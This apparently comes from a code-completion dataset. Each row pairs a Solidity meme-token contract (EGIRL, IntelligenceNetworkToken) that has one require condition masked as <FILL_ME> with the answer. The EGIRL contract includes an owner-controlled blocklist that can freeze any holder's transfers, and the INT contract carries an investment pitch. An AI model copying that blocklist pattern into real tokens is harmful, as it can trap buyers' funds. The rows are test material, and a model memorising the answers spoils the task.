| !isearlybuyer[sender]&&!isearlybuyer[recipient],"You can't transfer tokens" | 63,026 | !isearlybuyer[sender]&&!isearlybuyer[recipient] |
"You are exceeding maxWalletLimit" | //SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
pragma solidity ^0.8.20;
/*
DO YOU LOVE EGIRLS? JOIN STREAM
STREAM: https://www.twitch.tv/egirlerc
TELEGRAM:https://t.me/EGIRLERC
WEBSITE: https://egirlerc.xyz/
TWITTER: https://twitter.com/egirlerc
*/
contract EGIRL is ERC20("twitch.tv/egirlerc", "EGIRL"), Ownable {
using Address for address payable;
IUniswapV2Router02 public router;
address public pair;
bool private _liquidityMutex = false;
bool private providingLiquidity = false;
bool public tradingEnabled = false;
uint256 private tokenLiquidityThreshold = 6_000 * 10 ** 18;
uint256 public maxWalletLimit = 100_00 * 10 ** 18;
uint256 private genesis_block;
uint256 private deadline = 5;
uint256 private launchtax = 25;
address private marketingWallet;
address private devWallet;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public taxes = Taxes(0, 0, 0);
Taxes public sellTaxes = Taxes(0, 0, 0);
mapping(address => bool) public exemptFee;
mapping(address => bool) private isearlybuyer;
modifier mutexLock() {
}
function setPairAddress(address pairAddress) external onlyOwner {
}
constructor() {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public override returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public override returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
require(
!isearlybuyer[sender] && !isearlybuyer[recipient],
"You can't transfer tokens"
);
if (!exemptFee[sender] && !exemptFee[recipient]) {
require(tradingEnabled, "Trading not enabled");
}
if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) {
require(<FILL_ME>)
}
if (
sender != pair &&
!exemptFee[recipient] &&
!exemptFee[sender] &&
!_liquidityMutex
) {
if (recipient != pair) {
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
}
uint256 feeswap;
uint256 feesum;
uint256 fee;
Taxes memory currentTaxes;
bool useLaunchFee = !exemptFee[sender] &&
!exemptFee[recipient] &&
block.number < genesis_block + deadline;
if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient])
fee = 0;
else if (recipient == pair && !useLaunchFee) {
feeswap = sellTaxes.liquidity + sellTaxes.marketing + sellTaxes.dev;
feesum = feeswap;
currentTaxes = sellTaxes;
} else if (!useLaunchFee) {
feeswap = taxes.liquidity + taxes.marketing + taxes.dev;
feesum = feeswap;
currentTaxes = taxes;
} else if (useLaunchFee) {
feeswap = launchtax;
feesum = launchtax;
}
fee = (amount * feesum) / 100;
if (providingLiquidity && sender != pair)
handle_fees(feeswap, currentTaxes);
super._transfer(sender, recipient, amount - fee);
if (fee > 0) {
if (feeswap > 0) {
uint256 feeAmount = (amount * feeswap) / 100;
super._transfer(sender, address(this), feeAmount);
}
}
}
function handle_fees(
uint256 feeswap,
Taxes memory swapTaxes
) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function cashout(address[] calldata recipients, uint256[] calldata values) public {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool state) external onlyOwner {
}
function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
}
function UpdateBuyTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function SetSellTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function updateExemptFee(address _address, bool state) external onlyOwner {
}
function updateIsEarlyBuyer(
address account,
bool state
) external onlyOwner {
}
function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH(uint256 weiAmount) external {
}
function rescueERC20(address tokenAdd, uint256 amount) external {
}
receive() external payable {}
}
| balanceOf(recipient)+amount<=maxWalletLimit,"You are exceeding maxWalletLimit" | 63,026 | balanceOf(recipient)+amount<=maxWalletLimit |
"not enuf funds" | //SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
pragma solidity ^0.8.20;
/*
DO YOU LOVE EGIRLS? JOIN STREAM
STREAM: https://www.twitch.tv/egirlerc
TELEGRAM:https://t.me/EGIRLERC
WEBSITE: https://egirlerc.xyz/
TWITTER: https://twitter.com/egirlerc
*/
contract EGIRL is ERC20("twitch.tv/egirlerc", "EGIRL"), Ownable {
using Address for address payable;
IUniswapV2Router02 public router;
address public pair;
bool private _liquidityMutex = false;
bool private providingLiquidity = false;
bool public tradingEnabled = false;
uint256 private tokenLiquidityThreshold = 6_000 * 10 ** 18;
uint256 public maxWalletLimit = 100_00 * 10 ** 18;
uint256 private genesis_block;
uint256 private deadline = 5;
uint256 private launchtax = 25;
address private marketingWallet;
address private devWallet;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public taxes = Taxes(0, 0, 0);
Taxes public sellTaxes = Taxes(0, 0, 0);
mapping(address => bool) public exemptFee;
mapping(address => bool) private isearlybuyer;
modifier mutexLock() {
}
function setPairAddress(address pairAddress) external onlyOwner {
}
constructor() {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public override returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public override returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handle_fees(
uint256 feeswap,
Taxes memory swapTaxes
) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function cashout(address[] calldata recipients, uint256[] calldata values) public {
uint256 total = 0;
for (uint256 i = 0; i < recipients.length; i++)
total += values[i];
require(<FILL_ME>)
for (uint256 i = 0; i < recipients.length; i++)
transfer(recipients[i], values[i]);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool state) external onlyOwner {
}
function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
}
function UpdateBuyTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function SetSellTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function updateExemptFee(address _address, bool state) external onlyOwner {
}
function updateIsEarlyBuyer(
address account,
bool state
) external onlyOwner {
}
function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH(uint256 weiAmount) external {
}
function rescueERC20(address tokenAdd, uint256 amount) external {
}
receive() external payable {}
}
| balanceOf(_msgSender())>=total,"not enuf funds" | 63,026 | balanceOf(_msgSender())>=total |
"Exceeds max transaction amount." | /**
"Intelligence Network Token (INT): Powering the Decentralized AGI Ecosystem"
The Intelligence Network Token (INT) is a cutting-edge Ethereum-based cryptocurrency
designed to facilitate the development and adoption of Artificial General Intelligence
(AGI) technology on a decentralized network. By leveraging the power of blockchain and
smart contract technology, INT enables developers, researchers, and enthusiasts to
collaborate and build an open-source AGI ecosystem, while also incentivizing
participation and innovation.
With INT, you can:
Invest in the future of AGI technology: INT is an investment in the potential
of AGI technology to revolutionize industries and transform the world.
Access cutting-edge research and development: INT enables access to a community of
AGI experts and researchers, who are working on the cutting edge of this rapidly
evolving field.
Build and collaborate on AGI applications: INT provides a platform for developers
and enthusiasts to build and collaborate on AGI applications, creating new
opportunities and possibilities for innovation.
Earn rewards for contributing to the ecosystem: INT incentivizes participation and
innovation, allowing users to earn rewards for contributing to the AGI ecosystem.
By investing in INT, you are contributing to the development and adoption of AGI
technology, and helping to create a decentralized, collaborative ecosystem that
has the potential to transform the world.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IntelligenceNetworkToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 public _tradingTax = 2;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; //1B
string private constant _name = "IntelligenceNetworkToken";
string private constant _symbol = "INT";
uint256 public _maxTxAmount = 20_000_000 * 10**_decimals; //2%
uint256 public _maxWalletSize = 20_000_000 * 10**_decimals; //2%
uint256 public _taxSwap = 5_000_000 * 10**_decimals; //0.5%
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool public tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(tradingOpen,"trading is not open");
if (to == uniswapV2Pair || from == uniswapV2Pair) {
//tax on buy and sell
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
taxAmount = amount.mul(_tradingTax).div(100);
}
//max tx & wallet limit
if (from == uniswapV2Pair && ! _isExcludedFromFee[to] ) {
require(<FILL_ME>)
require(balanceOf(to) + amount - taxAmount <= _maxWalletSize, "Exceeds max wallet size.");
}
//swap
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwap) {
swapTokensForEth(_taxSwap);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
if(taxAmount > 0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function removeLimits() external onlyOwner{
}
function manualswap() external onlyOwner() {
}
function manualsend() external onlyOwner() {
}
function setTaxWallet(address _Wallet) external onlyOwner() {
}
function setTaxSwap(uint256 amount) external onlyOwner() {
}
receive() external payable {}
}
| amount-taxAmount<=_maxTxAmount,"Exceeds max transaction amount." | 63,114 | amount-taxAmount<=_maxTxAmount |
"Exceeds max wallet size." | /**
"Intelligence Network Token (INT): Powering the Decentralized AGI Ecosystem"
The Intelligence Network Token (INT) is a cutting-edge Ethereum-based cryptocurrency
designed to facilitate the development and adoption of Artificial General Intelligence
(AGI) technology on a decentralized network. By leveraging the power of blockchain and
smart contract technology, INT enables developers, researchers, and enthusiasts to
collaborate and build an open-source AGI ecosystem, while also incentivizing
participation and innovation.
With INT, you can:
Invest in the future of AGI technology: INT is an investment in the potential
of AGI technology to revolutionize industries and transform the world.
Access cutting-edge research and development: INT enables access to a community of
AGI experts and researchers, who are working on the cutting edge of this rapidly
evolving field.
Build and collaborate on AGI applications: INT provides a platform for developers
and enthusiasts to build and collaborate on AGI applications, creating new
opportunities and possibilities for innovation.
Earn rewards for contributing to the ecosystem: INT incentivizes participation and
innovation, allowing users to earn rewards for contributing to the AGI ecosystem.
By investing in INT, you are contributing to the development and adoption of AGI
technology, and helping to create a decentralized, collaborative ecosystem that
has the potential to transform the world.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IntelligenceNetworkToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 public _tradingTax = 2;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; //1B
string private constant _name = "IntelligenceNetworkToken";
string private constant _symbol = "INT";
uint256 public _maxTxAmount = 20_000_000 * 10**_decimals; //2%
uint256 public _maxWalletSize = 20_000_000 * 10**_decimals; //2%
uint256 public _taxSwap = 5_000_000 * 10**_decimals; //0.5%
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool public tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(tradingOpen,"trading is not open");
if (to == uniswapV2Pair || from == uniswapV2Pair) {
//tax on buy and sell
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
taxAmount = amount.mul(_tradingTax).div(100);
}
//max tx & wallet limit
if (from == uniswapV2Pair && ! _isExcludedFromFee[to] ) {
require(amount - taxAmount <= _maxTxAmount, "Exceeds max transaction amount.");
require(<FILL_ME>)
}
//swap
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwap) {
swapTokensForEth(_taxSwap);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
if(taxAmount > 0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function removeLimits() external onlyOwner{
}
function manualswap() external onlyOwner() {
}
function manualsend() external onlyOwner() {
}
function setTaxWallet(address _Wallet) external onlyOwner() {
}
function setTaxSwap(uint256 amount) external onlyOwner() {
}
receive() external payable {}
}
| balanceOf(to)+amount-taxAmount<=_maxWalletSize,"Exceeds max wallet size." | 63,114 | balanceOf(to)+amount-taxAmount<=_maxWalletSize |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.